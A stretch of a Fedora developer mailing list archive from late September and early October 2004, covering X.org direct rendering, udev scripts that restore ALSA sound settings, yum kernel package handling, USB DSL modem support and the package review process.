From train at voicenet.com Fri Oct 1 00:08:41 2004 From: train at voicenet.com (Herbert Rutledge) Date: Thu, 30 Sep 2004 20:08:41 -0400 Subject: fc3 does not load agp driver In-Reply-To: <1096588092.3245.5.camel@tiger> References: <1096588092.3245.5.camel@tiger> Message-ID: <1096589321.9228.2.camel@trilon> On Thu, 2004-09-30 at 19:48 -0400, Louis Garcia wrote: > Yes I do have a radeon 7500 and I don't need the i810 driver. I have > done more investigating and found if I boot in init 3 and startx I have > direct rendering. If I boot directly into init 5 I have no direct > rendering. The radeon driver is loaded in both cases. Should I put in > bugzilla? I just confirmed this, and traced it to the last xorg-x11 updates from Rawhide. The xorg-6.8.1.3 packages enable direct rendering from run level 5, but the xorg-6.8.1.4 packages do not. This is as reported from glxinfo. -train From tibbs at math.uh.edu Fri Oct 1 02:01:37 2004 From: tibbs at math.uh.edu (Jason L Tibbitts III) Date: Thu, 30 Sep 2004 21:01:37 -0500 Subject: rawhide report: 20040929 changes In-Reply-To: <20040930162014.13884.qmail@web25305.mail.ukl.yahoo.com> (James Harrison's message of "Thu, 30 Sep 2004 09:20:14 -0700 (PDT)") References: <20040930162014.13884.qmail@web25305.mail.ukl.yahoo.com> Message-ID: >>>> - PXE Boot clients with static leases not given 'file' option This refers to bug 133522 which as you guessed involves booting hosts with fixed-address not working in dhcp 3.0.1-8. JH> Does mean this mean that if my dhcp server had the following: [...] JH> Then tmp5 wont get pxelinux.0 That would be the case in 3.0.1-8, but that's fixed in 3.0.1-9. - J< From music-cornette at sbcglobal.net Fri Oct 1 02:38:21 2004 From: music-cornette at sbcglobal.net (Jim Cornette) Date: Thu, 30 Sep 2004 22:38:21 -0400 Subject: DRM drivers - why is the driver not seperate? i830 - i810 Message-ID: <415CC31D.3000804@sbcglobal.net> I was googling around looking for info regarding the drm drivers and found this link. Why is there not an i830 and i815 driver compiled seperately as what I get from this webpage? http://tlug.up.ac.za/guides/lkcg/drivers_char_drm.html Using both types of cards based on different chipsets, this should be present. I used the 815 chipset and another 865G chipset and X performs quite differenlt with the two versions. Jim -- You had mail, but the super-user read it, and deleted it! From wtogami at redhat.com Fri Oct 1 02:44:12 2004 From: wtogami at redhat.com (Warren Togami) Date: Thu, 30 Sep 2004 16:44:12 -1000 Subject: DRM drivers - why is the driver not seperate? i830 - i810 In-Reply-To: <415CC31D.3000804@sbcglobal.net> References: <415CC31D.3000804@sbcglobal.net> Message-ID: <415CC47C.7010105@redhat.com> Jim Cornette wrote: > I was googling around looking for info regarding the drm drivers and > found this link. Why is there not an i830 and i815 driver compiled > seperately as what I get from this webpage? > > http://tlug.up.ac.za/guides/lkcg/drivers_char_drm.html > > Using both types of cards based on different chipsets, this should be > present. > > I used the 815 chipset and another 865G chipset and X performs quite > differenlt with the two versions. > > Jim > You should really go directly to the authors/maintainers and/or LKML with this kind of question, but I suppose I am interested in the answer when you get it. Warren Togami wtogami at redhat.com From feliciano.matias at free.fr Fri Oct 1 04:52:56 2004 From: feliciano.matias at free.fr (Matias Feliciano) Date: Fri, 01 Oct 2004 06:52:56 +0200 Subject: udev and alsa Message-ID: <1096606376.3257.19.camel@localhost.localdomain> udev-034-5 is out and is laking alsa support : https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=133535 So the sound setting is not restore at boot time. It very easy to fix. Add this file (attached to the bug report): /etc/dev.d/sound/alsa.dev : #!/bin/sh if [ "$ACTION" != "add" ] ; then exit fi card=`echo $DEVPATH | sed -n -e "s/^\/class\/sound\/controlC\([[:digit:]]\+\)\$/\1/p"` if [ $card ] && [ -x /usr/sbin/alsactl ] ; then /usr/sbin/alsactl restore $card > /dev/null 2>&1 fi I ask to move this bug to udev but it's not done. This bug, quite "popular", is in "Leave as NEW" state and not "Accept bug". The bug is not referenced in : http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=FC3BugWeekTracker http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=FC3BugWeekQA http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=YellowPad http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=FC3Target -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e. URL: From fedora at leemhuis.info Fri Oct 1 06:10:12 2004 From: fedora at leemhuis.info (Thorsten Leemhuis) Date: Fri, 01 Oct 2004 08:10:12 +0200 Subject: FC2 kernel quality In-Reply-To: <87u0tf8pxy.fsf@kosh.ultra.csn.tu-chemnitz.de> References: <877jqbaagx.fsf@kosh.ultra.csn.tu-chemnitz.de> <1096569640.2702.37.camel@localhost.localdomain> <87y8ir8t1y.fsf@kosh.ultra.csn.tu-chemnitz.de> <1096572505.2702.52.camel@localhost.localdomain> <87u0tf8pxy.fsf@kosh.ultra.csn.tu-chemnitz.de> Message-ID: <1096611012.3822.16.camel@thl.ct.heise.de> Am Donnerstag, den 30.09.2004, 22:25 +0200 schrieb Enrico Scholz: > fedora at leemhuis.info (Thorsten Leemhuis) writes: > > How to solve the problem with updated kernels and the needed headers > > for those? > > ??? Just add 'kernel-devel' to apt's 'Allow-Duplicated'; yum has > probably something similar. So it won't be a problem to install > multiple 'kernel-devel' packages. IIRC correctly this is a special patch (BTW, it was from you, or) in apt at fedora.us -- yum does not have something AFAIK. CU thl From skvidal at phy.duke.edu Fri Oct 1 06:11:11 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Fri, 01 Oct 2004 02:11:11 -0400 Subject: FC2 kernel quality In-Reply-To: <1096611012.3822.16.camel@thl.ct.heise.de> References: <877jqbaagx.fsf@kosh.ultra.csn.tu-chemnitz.de> <1096569640.2702.37.camel@localhost.localdomain> <87y8ir8t1y.fsf@kosh.ultra.csn.tu-chemnitz.de> <1096572505.2702.52.camel@localhost.localdomain> <87u0tf8pxy.fsf@kosh.ultra.csn.tu-chemnitz.de> <1096611012.3822.16.camel@thl.ct.heise.de> Message-ID: <1096611071.28564.10.camel@binkley> On Fri, 2004-10-01 at 08:10 +0200, Thorsten Leemhuis wrote: > Am Donnerstag, den 30.09.2004, 22:25 +0200 schrieb Enrico Scholz: > > fedora at leemhuis.info (Thorsten Leemhuis) writes: > > > > How to solve the problem with updated kernels and the needed headers > > > for those? > > > > ??? Just add 'kernel-devel' to apt's 'Allow-Duplicated'; yum has > > probably something similar. So it won't be a problem to install > > multiple 'kernel-devel' packages. > > IIRC correctly this is a special patch (BTW, it was from you, or) in > apt at fedora.us -- yum does not have something AFAIK. > What? installonlypkgs allows you to make a list of packages that should not 'update' but only 'install' it's in the man page. It even explains it. And if the package provides kernel-module then that occurs automatically, just like with up2date. -sv From troels at arvin.dk Fri Oct 1 06:23:33 2004 From: troels at arvin.dk (Troels Arvin) Date: Fri, 01 Oct 2004 08:23:33 +0200 Subject: subversion-1.1 released References: Message-ID: On Thu, 30 Sep 2004 11:51:39 -0400, Neal D. Becker wrote: > subversion-1.1 is released. It would be great to include this. I agree; the fsfs storage format has made subversion usable for me. I've been running pre-releases of subversion 1.1 for some time without problems. -- Greetings from Troels Arvin, Copenhagen, Denmark From fedora at leemhuis.info Fri Oct 1 06:23:46 2004 From: fedora at leemhuis.info (Thorsten Leemhuis) Date: Fri, 01 Oct 2004 08:23:46 +0200 Subject: FC2 kernel quality In-Reply-To: <1096611071.28564.10.camel@binkley> References: <877jqbaagx.fsf@kosh.ultra.csn.tu-chemnitz.de> <1096569640.2702.37.camel@localhost.localdomain> <87y8ir8t1y.fsf@kosh.ultra.csn.tu-chemnitz.de> <1096572505.2702.52.camel@localhost.localdomain> <87u0tf8pxy.fsf@kosh.ultra.csn.tu-chemnitz.de> <1096611012.3822.16.camel@thl.ct.heise.de> <1096611071.28564.10.camel@binkley> Message-ID: <1096611826.3822.18.camel@thl.ct.heise.de> Am Freitag, den 01.10.2004, 02:11 -0400 schrieb seth vidal: > On Fri, 2004-10-01 at 08:10 +0200, Thorsten Leemhuis wrote: > > Am Donnerstag, den 30.09.2004, 22:25 +0200 schrieb Enrico Scholz: > > > fedora at leemhuis.info (Thorsten Leemhuis) writes: > > > > > > How to solve the problem with updated kernels and the needed headers > > > > for those? > > > > > > ??? Just add 'kernel-devel' to apt's 'Allow-Duplicated'; yum has > > > probably something similar. So it won't be a problem to install > > > multiple 'kernel-devel' packages. > > > > IIRC correctly this is a special patch (BTW, it was from you, or) in > > apt at fedora.us -- yum does not have something AFAIK. > > > > What? > installonlypkgs allows you to make a list of packages that should not > 'update' but only 'install' > > it's in the man page. It even explains it. And if the package provides > kernel-module then that occurs automatically, just like with up2date. Ahh, sorry, was wrong, blind, dump and misunderstood Enrico. Sorry. CU thl From j.w.r.degoede at hhs.nl Fri Oct 1 16:22:56 2004 From: j.w.r.degoede at hhs.nl (Hans de Goede) Date: Fri, 01 Oct 2004 18:22:56 +0200 Subject: xorg crashes In-Reply-To: <415C942E.9030609@mail.telepac.pt> References: <20040930231052.99138.qmail@web60708.mail.yahoo.com> <415C942E.9030609@mail.telepac.pt> Message-ID: <415D8460.3050300@hhs.nl> This probably only happens with 3d screensavers, you don't happen to habe a i8xx onboard card? Anyways you xorg is ancinet, get the latest from rawhide and try that. Regards, Hans Carlos Rodrigues wrote: > Denis Leroy wrote: > >> I've seen this happen when the screensaver is in random mode and >> occasionally launches a screensaver plugin that uses xorg hardware >> acceleration. If you have a poorly supported or misconfigured card, it >> might crash the kernel. Check your screensaver, try all available >> plugins... >> >> -d >> >> > > It is the sceensaver, however everything is ok when it comes to > configuration, nothing changed except the updates and I never seen this > happen before. Also, the kernel doesn't crash, only X does. > > Carlos Rodrigues > -- EuropeSwPatentFree http://EuropeSwPatentFree.hispalinux.es From rms at 1407.org Fri Oct 1 08:29:28 2004 From: rms at 1407.org (Rui Miguel Seabra) Date: Fri, 01 Oct 2004 09:29:28 +0100 Subject: FC2 kernel quality In-Reply-To: <1096585392.21972.138.camel@jonspc> References: <877jqbaagx.fsf@kosh.ultra.csn.tu-chemnitz.de> <1096569640.2702.37.camel@localhost.localdomain> <87y8ir8t1y.fsf@kosh.ultra.csn.tu-chemnitz.de> <1096572505.2702.52.camel@localhost.localdomain> <1096573788.21972.14.camel@jonspc> <20040930200232.GB900732@hiwaay.net> <1096575343.21972.34.camel@jonspc> <20040930213923.GT5537@angus.ind.WPI.EDU> <1096585392.21972.138.camel@jonspc> Message-ID: <1096619368.2903.2.camel@roque> On Fri, 2004-10-01 at 00:03 +0100, Jonathan Andrews wrote: > [root at jonspc root]# man rpm |wc > 831 3325 40895 > > 3,325 words, most starting with - or -- That doesn't include rpmbuild, > or any reference what to do when it locks itself ! No wonder linux is > described as to complex ! > > Oh yea and gems like this are common ... Man pages are to be, usually, skimmed so that one gets th gist of them. Then when you need detail, you check the man page with more attention. Memorization will follow with usage... You'd rather it had 30 words with only commands and no explanation of what they do? Now THAT would be a gem (and there are some)... Rui -- + No matter how much you do, you never do enough -- unknown + Whatever you do will be insignificant, | but it is very important that you do it -- Gandhi + So let's do it...? Please AVOID sending me WORD, EXCEL or POWERPOINT attachments. See http://www.fsf.org/philosophy/no-word-attachments.html -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From aportal at univ-montp2.fr Fri Oct 1 08:44:53 2004 From: aportal at univ-montp2.fr (Alain PORTAL) Date: Fri, 1 Oct 2004 10:44:53 +0200 Subject: Self-Introduction: Alain PORTAL Message-ID: <200410011044.54538.aportal@univ-montp2.fr> Alain PORTAL FRANCE, Montpellier Engineer in charge of a Scanning Electron Microscope University of Montpellier II I intend to package some related electronics softwares and help in QA for some others in the queue. Actually, I'm part of the Grisbi developer team http://www.grisbi.org https://bugzilla.fedora.us/show_bug.cgi?id=2069 a personal accounting application developed in C under GTK2. I translate in french some software: + qtparted: a partitioning tools http://qtparted.sourceforge.net/ + ViPEC: a tool for the analysis of high frequency, linear electrical networks http://vipec.sourceforge.net/ + krelais: a simulation program for electronic relay circuits http://www.technische-simulation.de/english.htm I also translate man pages of some software: + openjade, opensp + docbook-utils + sgml-common + rp-pppoe + and currently cdbkup pub 1024D/8D4D7450 2003-11-25 Alain PORTAL (Universit? de Montpellier II) Empreinte de la cl? = 958D CD5C DAE3 68FB 0B51 3F8A F1D4 5527 8D4D 7450 uid Alain PORTAL FRANCE, Montpellier Engineer in charge of a Scanning Electron Microscope University of Montpellier II I intend to package some related electronics softwares and help in QA for some others in the queue. Actually, I'm part of the Grisbi developer team http://www.grisbi.org https://bugzilla.fedora.us/show_bug.cgi?id=2069 a personal accounting application developed in C under GTK2. I translate in french some software: + qtparted: a partitioning tools http://qtparted.sourceforge.net/ + ViPEC: a tool for the analysis of high frequency, linear electrical networks http://vipec.sourceforge.net/ + krelais: a simulation program for electronic relay circuits http://www.technische-simulation.de/english.htm I also translate man pages of some software: + openjade, opensp + docbook-utils + sgml-common + rp-pppoe + and currently cdbkup pub 1024D/8D4D7450 2003-11-25 Alain PORTAL (Universit? de Montpellier II) Empreinte de la cl? = 958D CD5C DAE3 68FB 0B51 3F8A F1D4 5527 8D4D 7450 uid Alain PORTAL (SCME - Universit? de Montpellier II) sub 1024g/D2BE88B7 2003-11-25 Alain PORTAL (SCME - Universit? de Montpellier II) sub 1024g/D2BE88B7 2003-11-25 From harald at redhat.com Fri Oct 1 08:43:09 2004 From: harald at redhat.com (Harald Hoyer) Date: Fri, 01 Oct 2004 10:43:09 +0200 Subject: A couple of things on startup/shutdown In-Reply-To: <1096572290.3186.7.camel@tiger> References: <1096572290.3186.7.camel@tiger> Message-ID: <415D189D.2050303@redhat.com> Louis Garcia wrote: > As on 9/30 rawhide on system boot when switching to usermode I get: > > Making Extra Nodes: cp: can't stat /etc/udev/devices/* no such directory > or files > > on my box /etc/udev/devices is empty. > nothing to worry about.. error message supressed in udev-032-6 for your convenience.. :) From harald at redhat.com Fri Oct 1 09:01:17 2004 From: harald at redhat.com (Harald Hoyer) Date: Fri, 01 Oct 2004 11:01:17 +0200 Subject: udev and alsa In-Reply-To: <1096606376.3257.19.camel@localhost.localdomain> References: <1096606376.3257.19.camel@localhost.localdomain> Message-ID: <415D1CDD.2000603@redhat.com> Matias Feliciano wrote: > udev-034-5 is out and is laking alsa support : > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=133535 > > So the sound setting is not restore at boot time. > > It very easy to fix. Add this file (attached to the bug report): > /etc/dev.d/sound/alsa.dev : > #!/bin/sh > if [ "$ACTION" != "add" ] ; then > exit > fi > card=`echo $DEVPATH | sed -n -e "s/^\/class\/sound\/controlC\([[:digit:]]\+\)\$/\1/p"` > if [ $card ] && [ -x /usr/sbin/alsactl ] ; then > /usr/sbin/alsactl restore $card > /dev/null 2>&1 > fi > > I ask to move this bug to udev but it's not done. > > This bug, quite "popular", is in "Leave as NEW" state and not "Accept > bug". > > The bug is not referenced in : > http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=FC3BugWeekTracker > http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=FC3BugWeekQA > http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=YellowPad > http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=FC3Target > Don't know, if it really belongs to udev.. but here is an extended script:#!/bin/sh if [ "$ACTION" == "add" ] ; then card=`echo $DEVPATH | sed -n -e "s/^\/class\/sound\/controlC\([[:digit:]]\+\)\$/\1/p"` if [ $card ] && [ -x /usr/sbin/alsactl ] ; then /usr/sbin/alsactl restore $card > /dev/null 2>&1 fi elif [ "$ACTION" == "remove" ] ; then card=`echo $DEVPATH | sed -n -e "s/^\/class\/sound\/controlC\([[:digit:]]\+\)\$/\1/p"` if [ $card ] && [ -x /usr/sbin/alsactl ] ; then /usr/sbin/alsactl store $card > /dev/null 2>&1 fi fi From feliciano.matias at free.fr Fri Oct 1 09:18:30 2004 From: feliciano.matias at free.fr (Matias Feliciano) Date: Fri, 01 Oct 2004 11:18:30 +0200 Subject: udev and alsa In-Reply-To: <415D1CDD.2000603@redhat.com> References: <1096606376.3257.19.camel@localhost.localdomain> <415D1CDD.2000603@redhat.com> Message-ID: <1096622310.3257.93.camel@localhost.localdomain> Le ven 01/10/2004 ? 11:01, Harald Hoyer a ?crit : > Don't know, if it really belongs to udev.. but here is an extended script:#!/bin/sh > > elif [ "$ACTION" == "remove" ] ; then > card=`echo $DEVPATH | sed -n -e "s/^\/class\/sound\/controlC\([[:digit:]]\+\)\$/\1/p"` > if [ $card ] && [ -x /usr/sbin/alsactl ] ; then > /usr/sbin/alsactl store $card > /dev/null 2>&1 > fi > fi useless. udev is call _after_ "modprobe -r" begin (module marked "unloading" and unusable). No module, no "alsactl store". -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e. URL: From feliciano.matias at free.fr Fri Oct 1 09:20:11 2004 From: feliciano.matias at free.fr (Matias Feliciano) Date: Fri, 01 Oct 2004 11:20:11 +0200 Subject: udev and alsa In-Reply-To: <415D1CDD.2000603@redhat.com> References: <1096606376.3257.19.camel@localhost.localdomain> <415D1CDD.2000603@redhat.com> Message-ID: <1096622411.3257.96.camel@localhost.localdomain> Le ven 01/10/2004 ? 11:01, Harald Hoyer a ?crit : > elif [ "$ACTION" == "remove" ] ; then > card=`echo $DEVPATH | sed -n -e "s/^\/class\/sound\/controlC\([[:digit:]]\+\)\$/\1/p"` > if [ $card ] && [ -x /usr/sbin/alsactl ] ; then > /usr/sbin/alsactl store $card > /dev/null 2>&1 > fi > fi btw, this is done by /etc/modprobe.conf. example : remove snd-via82xx { /usr/sbin/alsactl store 1 >/dev/null 2>&1 || : ; }; /sbin/modprobe -r --ignore-remove snd-via82xx -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e. URL: From kyrre at solution-forge.net Fri Oct 1 09:25:58 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Fri, 01 Oct 2004 11:25:58 +0200 Subject: FC2 kernel quality In-Reply-To: <415C8698.3070604@mail.telepac.pt> References: <1096581368.21981.135.camel@scox.glenatl.glenayre.com> <415C8698.3070604@mail.telepac.pt> Message-ID: <1096622758.2693.2.camel@kyrre> It wasn't a so big problem THEN - all i did was download a new kernel RPM from the ndiswrapper side with 8k stacks disabled. *pof* nVidia! But this udev stuff would be worse to work around... => my main machine will stay on fc2 untill nvidia drivers work with fc3. BTW pissing off nvidia isn't such a good idea either. Not that i oppose udev, but you get the idea. Please not break the drivers for fun. Not that i think you do. Kyrre fre, 01.10.2004 kl. 00.20 skrev Carlos Rodrigues: > Malita, Florin wrote: > > On Thu, 2004-09-30 at 16:25, Enrico Scholz wrote: > > > >>documentation and/or diagnostic. And btw... the nvidia driver are not > >>supported by FC ;) > > > > > > Not sure what you mean by "supported" but > > NVIDIA-Linux-x86-1.0-5336-pkg1 works perfectly fine with FC2 for me... > > > > Also that "not supported" thing is crap. Binary modules are a fact of > life and some care ("some" meaning "break it if you have to, but avoid > it if you can") must be taken so that users can use them. > > The fact is that nvidia cards are _very_ popular and users want to have > them working properly on linux. In fact they don't have much options, > ATi drivers suck beyond reason and other cards are just plain > insufficient preformance-wise. So, if the nvidia driver breaks and isn't > easy to fix, that will just drive users away. Take me for an example, I > have always updated to a newer Red Hat version (since Red Hat 5.0) > whithin 1.5 weeks of release, but it took me around 2 months to step up > to Fedora 2. Why? Because the nvidia drivers didn't work with the fedora > 2 kernel and I have better things to do with my time that patching and > rebuilding kernels. When nvidia released new drivers I upgraded within 1 > week. If I were a new user, I wouldn't even have bothered. > > Carlos Rodrigues From kyrre at solution-forge.net Fri Oct 1 09:27:11 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Fri, 01 Oct 2004 11:27:11 +0200 Subject: A couple of things on startup/shutdown In-Reply-To: <415D189D.2050303@redhat.com> References: <1096572290.3186.7.camel@tiger> <415D189D.2050303@redhat.com> Message-ID: <1096622831.2693.4.camel@kyrre> fre, 01.10.2004 kl. 10.43 skrev Harald Hoyer: > Louis Garcia wrote: > > As on 9/30 rawhide on system boot when switching to usermode I get: > > > > Making Extra Nodes: cp: can't stat /etc/udev/devices/* no such directory > > or files > > > > on my box /etc/udev/devices is empty. > > > > nothing to worry about.. error message supressed in udev-032-6 for your convenience.. :) Shure you dont mean "i am sick and tired of all those bugzilla reports"? Nah. understandable :) From srikanthnv at gmail.com Fri Oct 1 09:30:54 2004 From: srikanthnv at gmail.com (Srikanth Nori) Date: Fri, 1 Oct 2004 15:00:54 +0530 Subject: USB DSL call for testing (Re: USB ADSL Modem support, status of development?) In-Reply-To: <1096475432.30942.234.camel@hades.cambridge.redhat.com> References: <1096475432.30942.234.camel@hades.cambridge.redhat.com> Message-ID: On Wed, 29 Sep 2004 17:30:32 +0100, David Woodhouse wrote: > On Tue, 2004-09-28 at 17:16 +0530, Srikanth Nori wrote: > > Most posts were about the Alcatel Speedtouch USB modem, but my > > interest lies elsewhere (Aztech 500U) > > That may in fact be a rebadged version of the Speedtouch -- it looks > like it's actually made by Alcatel. Can you show the contents of > /proc/bus/usb/devices when it's connected? The contents of /proc/bus/usb/devices follow: T: Bus=04 Lev=00 Prnt=00 Port=00 Cnt=00 Dev#= 1 Spd=480 MxCh= 6 B: Alloc= 0/800 us ( 0%), #Int= 0, #Iso= 0 D: Ver= 2.00 Cls=09(hub ) Sub=00 Prot=01 MxPS= 8 #Cfgs= 1 P: Vendor=0000 ProdID=0000 Rev= 2.04 S: Manufacturer=Linux 2.4.22-1.2115.nptl ehci_hcd S: Product=Intel Corp. 82801DB USB2 S: SerialNumber=00:1d.7 C:* #Ifs= 1 Cfg#= 1 Atr=40 MxPwr= 0mA I: If#= 0 Alt= 0 #EPs= 1 Cls=09(hub ) Sub=00 Prot=00 Driver=hub E: Ad=81(I) Atr=03(Int.) MxPS= 2 Ivl=256ms T: Bus=03 Lev=00 Prnt=00 Port=00 Cnt=00 Dev#= 1 Spd=12 MxCh= 2 B: Alloc= 93/900 us (10%), #Int= 1, #Iso= 0 D: Ver= 1.00 Cls=09(hub ) Sub=00 Prot=00 MxPS= 8 #Cfgs= 1 P: Vendor=0000 ProdID=0000 Rev= 0.00 S: Product=USB UHCI Root Hub S: SerialNumber=ec00 C:* #Ifs= 1 Cfg#= 1 Atr=40 MxPwr= 0mA I: If#= 0 Alt= 0 #EPs= 1 Cls=09(hub ) Sub=00 Prot=00 Driver=hub E: Ad=81(I) Atr=03(Int.) MxPS= 8 Ivl=255ms T: Bus=03 Lev=01 Prnt=01 Port=00 Cnt=01 Dev#= 2 Spd=1.5 MxCh= 0 D: Ver= 2.00 Cls=00(>ifc ) Sub=00 Prot=00 MxPS= 8 #Cfgs= 1 P: Vendor=046d ProdID=c00e Rev=11.00 S: Manufacturer=Logitech S: Product=USB-PS/2 Optical Mouse C:* #Ifs= 1 Cfg#= 1 Atr=a0 MxPwr= 98mA I: If#= 0 Alt= 0 #EPs= 1 Cls=03(HID ) Sub=01 Prot=02 Driver=hid E: Ad=81(I) Atr=03(Int.) MxPS= 4 Ivl=10ms T: Bus=02 Lev=00 Prnt=00 Port=00 Cnt=00 Dev#= 1 Spd=12 MxCh= 2 B: Alloc= 0/900 us ( 0%), #Int= 0, #Iso= 0 D: Ver= 1.00 Cls=09(hub ) Sub=00 Prot=00 MxPS= 8 #Cfgs= 1 P: Vendor=0000 ProdID=0000 Rev= 0.00 S: Product=USB UHCI Root Hub S: SerialNumber=e880 C:* #Ifs= 1 Cfg#= 1 Atr=40 MxPwr= 0mA I: If#= 0 Alt= 0 #EPs= 1 Cls=09(hub ) Sub=00 Prot=00 Driver=hub E: Ad=81(I) Atr=03(Int.) MxPS= 8 Ivl=255ms T: Bus=01 Lev=00 Prnt=00 Port=00 Cnt=00 Dev#= 1 Spd=12 MxCh= 2 B: Alloc= 0/900 us ( 0%), #Int= 0, #Iso= 0 D: Ver= 1.00 Cls=09(hub ) Sub=00 Prot=00 MxPS= 8 #Cfgs= 1 P: Vendor=0000 ProdID=0000 Rev= 0.00 S: Product=USB UHCI Root Hub S: SerialNumber=e800 C:* #Ifs= 1 Cfg#= 1 Atr=40 MxPwr= 0mA I: If#= 0 Alt= 0 #EPs= 1 Cls=09(hub ) Sub=00 Prot=00 Driver=hub E: Ad=81(I) Atr=03(Int.) MxPS= 8 Ivl=255ms T: Bus=01 Lev=01 Prnt=01 Port=01 Cnt=01 Dev#= 3 Spd=12 MxCh= 0 D: Ver= 1.10 Cls=ff(vend.) Sub=00 Prot=00 MxPS= 8 #Cfgs= 1 P: Vendor=0509 ProdID=0803 Rev= 0.00 S: Manufacturer=AME S: Product= ADSL USB Modem S: SerialNumber=00300A000000 C:* #Ifs= 3 Cfg#= 1 Atr=80 MxPwr=500mA I: If#= 0 Alt= 0 #EPs= 1 Cls=ff(vend.) Sub=00 Prot=00 Driver=(none) E: Ad=81(I) Atr=03(Int.) MxPS= 16 Ivl=50ms I: If#= 1 Alt= 0 #EPs= 0 Cls=ff(vend.) Sub=00 Prot=00 Driver=(none) I: If#= 1 Alt= 1 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=(none) E: Ad=06(O) Atr=02(Bulk) MxPS= 64 Ivl=0ms E: Ad=07(O) Atr=02(Bulk) MxPS= 64 Ivl=0ms E: Ad=87(I) Atr=02(Bulk) MxPS= 64 Ivl=0ms I: If#= 1 Alt= 2 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=(none) E: Ad=06(O) Atr=02(Bulk) MxPS= 32 Ivl=0ms E: Ad=07(O) Atr=02(Bulk) MxPS= 32 Ivl=0ms E: Ad=87(I) Atr=02(Bulk) MxPS= 64 Ivl=0ms I: If#= 1 Alt= 3 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=(none) E: Ad=06(O) Atr=02(Bulk) MxPS= 16 Ivl=0ms E: Ad=07(O) Atr=02(Bulk) MxPS= 16 Ivl=0ms E: Ad=87(I) Atr=02(Bulk) MxPS= 64 Ivl=0ms I: If#= 2 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=00 Prot=00 Driver=(none) E: Ad=05(O) Atr=02(Bulk) MxPS= 8 Ivl=0ms E: Ad=85(I) Atr=02(Bulk) MxPS= 8 Ivl=0ms > > Anyway, I was wondering what is the status of development? Is still it being > > actively pursued? > > Well I was highly offended by how complicated it was to get it working > so yes, it's actively being pursued... > > At ftp://pentafluge.infradead.org/pub/dsl/ there is most of what you > should need to get the Speedtouch working sanely under rawhide. > > There's a new kernel driver which obsoletes the old 'modem_run' tool. > The driver is now capable of loading the firmware and initialising the > modem for itself. You do still need to download the firmware and use the > extraction tool which is part of the userspace 'speedtouch' package, > then put the resulting boot block and main firmware images into > /lib/firmware so that request_firmware can find them. The boot block > should be called 'speedtch_fw1', and the main image should be either > 'speedtch_fw2_rev123' or 'speedtch_fw2_rev4' depending on the revision > of your modem. > > To build the kernel driver, untar it, change into its directory and type > 'make', or 'make nodebug'. Please let me know whether it works for you > or not. After much wrestling, make-ing and ./configuring, I failed to get any sensible work done, and still have no DSL :( . I'll look up the website makers of the original driver and see if I can get it working. But can someone please confirm whether, or not, this modem has an Alcatel Speedtouch chipset? From Silke.Reimer at intevation.de Fri Oct 1 09:32:32 2004 From: Silke.Reimer at intevation.de (Silke Reimer) Date: Fri, 1 Oct 2004 11:32:32 +0200 Subject: QA-process for new packages In-Reply-To: <1096570045.3459.228.camel@dhcp63-226.rdu.redhat.com> References: <20040930172637.GH26396@intevation.de> <20040930203902.0922ff72.fedora@wir-sind-cool.org> <1096570045.3459.228.camel@dhcp63-226.rdu.redhat.com> Message-ID: <20041001093232.GB3765@intevation.de> Hallo Michael and Michael, On Thu, Sep 30, 2004 at 02:47:25PM -0400, Michael Tiemann wrote: > Silke, I'll volunteer to be one of your reviewers. Thank you very much :-) > > On Thu, 2004-09-30 at 14:39, Michael Schwendt wrote: > > On Thu, 30 Sep 2004 19:26:37 +0200, Silke Reimer wrote: > > > > > Some time ago I submitted a few packages on fedora.us. One of them > > > (gdal, Bug #1964) got lots of comments so I rebuilt the package and > > > announced it today. Due to several reasons it took me some time to > > > rebuild the package and meanwhile I have been set as owner of the > > > bug (and of all my other bugs (#1965, #2000 and #2001) as well). > > > > The assignment of package request tickets to package owners has been > > announced and explained on this list around two weeks ago. Yes, but it doesn't help me to understand the implications of this reassignement. Together with your additional information from below it does make lots more sense to me. > > > > > Since I am not member of the QA team > > > > Who said that? > > > > You _are_ a member of the QA team. The community does QA on packages > > in the queue. That's pre-release QA. Other members of the community do > > post-release QA and submit bug reports when they find something in > > the published packages. Thanks! This explanation (toghether with you remarks below) helped me to understand better the philosophy of the Fedora project. Perhaps I should add that I am coming from the debian world. Thus it is quite confusing from time to time to understand what similar and what is different in the Fedora way to set up the project. So please excuse my sometimes ignorant questions. (And I prefer to ask stupid questions instead of doing something in the "wrong" way.) > > > I don't really understand this > > > action. I thought that people that are new to fedora can submit > > > packages thus being submitter of a bug. Afterwards the QA team > > > assigns someone to do the quality assurance and the submitter will > > > have to fix the package if there are problems. > > > > There's no such system. Doing QA on new packages and package updates > > is done by volunteers. And they are not assigned packages to QA, but > > they choose interesting submissions themselves. This system is flawed. > > Because if I reviewed and approved 200 different new packages, I would > > need to assure that any future update requests for those 200 packages > > are QA'ed, too, until the package developer reaches "trusted" status. > > > > So, what I've been doing recently is to pick packages from new > > contributors and give them the chance to get a package published. In > > return, however, I'd like to see that they engage in QA and help other > > contributors. I've counted more than 60 different names in the queue, > > so theoretically, there are enough different people to choose from. > > Further, I monitor the REVIEWED queue, and I take a look at older > > package requests from the trusted developers, too, because they don't > > need 